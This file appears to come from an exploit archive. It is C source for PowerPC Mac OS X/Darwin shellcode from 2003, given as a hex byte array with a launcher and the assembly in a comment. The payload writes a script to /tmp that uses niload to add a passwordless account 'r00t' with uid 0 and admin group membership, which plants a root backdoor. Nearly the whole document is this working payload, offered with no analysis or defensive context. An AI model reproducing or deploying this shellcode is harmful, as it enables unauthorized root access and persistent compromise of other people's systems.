74 lines
No EOL
2.3 KiB
C
74 lines
No EOL
2.3 KiB
C
/*
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PPC OS X / Darwin Shellcode by B-r00t. 2003.
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open(); write(); close(); execve(); exit();
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See ASM below.
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219 Bytes!
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*/
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char shellcode[] =
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"\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7d\x48\x02\xa6\x3b\xea\x01\x70"
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"\x39\x60\x01\x70\x39\x1f\xff\x0d\x7c\xa8\x29\xae\x38\x7f\xff\x04"
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"\x38\x80\x02\x01\x38\xa0\xff\xff\x38\x0b\xfe\x95\x44\xff\xff\x02"
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"\x60\x60\x60\x60\x38\x9f\xff\x0e\x38\xab\xfe\xe5\x38\x0b\xfe\x94"
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"\x44\xff\xff\x02\x60\x60\x60\x60\x38\x0b\xfe\x96\x44\xff\xff\x02"
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"\x60\x60\x60\x60\x7c\xa5\x2a\x79\x38\x7f\xff\x04\x90\x61\xff\xf8"
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"\x90\xa1\xff\xfc\x38\x81\xff\xf8\x38\x0b\xfe\xcb\x44\xff\xff\x02"
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"\x60\x60\x60\x60\x38\x0b\xfe\x91\x44\xff\xff\x02\x2f\x74\x6d\x70"
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"\x2f\x78\x2e\x73\x68\x58\x23\x21\x2f\x62\x69\x6e\x2f\x73\x68\x0a"
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"\x2f\x62\x69\x6e\x2f\x65\x63\x68\x6f\x20\x27\x72\x30\x30\x74\x3a"
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"\x3a\x39\x39\x39\x3a\x38\x30\x3a\x3a\x30\x3a\x30\x3a\x72\x30\x30"
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"\x74\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x27\x20\x7c\x20\x2f"
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"\x75\x73\x72\x2f\x62\x69\x6e\x2f\x6e\x69\x6c\x6f\x61\x64\x20\x2d"
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"\x6d\x20\x70\x61\x73\x73\x77\x64\x20\x2e\x0a";
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int main (void)
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{
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__asm__("b _shellcode");
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}
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/*
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; PPC OS X / Darwin Shellcode by B-r00t.
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; open(); write(); close(); execve(); exit()
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; Adds a user account (admin member) using a
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; '/tmp/x.sh shellscript (niload).
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; echo 'r00t::999:80::0:0:r00t:/:/bin/sh' | /usr/bin/niload -m passwd .
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;
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.globl _main
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.text
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_main:
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xor. r5, r5, r5
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bnel _main
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mflr r10
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addi r31, r10, 368
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li r11, 368
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addi r8, r31, -243
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stbx r5, r8, r5
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addi r3, r31, -252
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li r4, 513
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li r5, -1
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addi r0, r11, -363
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.long 0x44ffff02
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.long 0x60606060
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addi r4, r31, -242
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addi r5, r11, -283
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addi r0, r11, -364
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.long 0x44ffff02
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.long 0x60606060
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addi r0, r11, -362
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.long 0x44ffff02
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.long 0x60606060
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xor. r5, r5, r5
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addi r3, r31, -252
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stw r3, -8(r1)
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stw r5, -4(r1)
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subi r4, r1, 8
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addi r0, r11, -309
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.long 0x44ffff02
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.long 0x60606060
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addi r0, r11, -367
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.long 0x44ffff02
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path: .asciz "/tmp/x.shX#!/bin/sh\n/bin/echo 'r00t::999:80::0:0:r00t:/:/bin/sh' | /usr/bin/niload -m passwd .\n"
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*/
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// milw0rm.com [2004-09-26]
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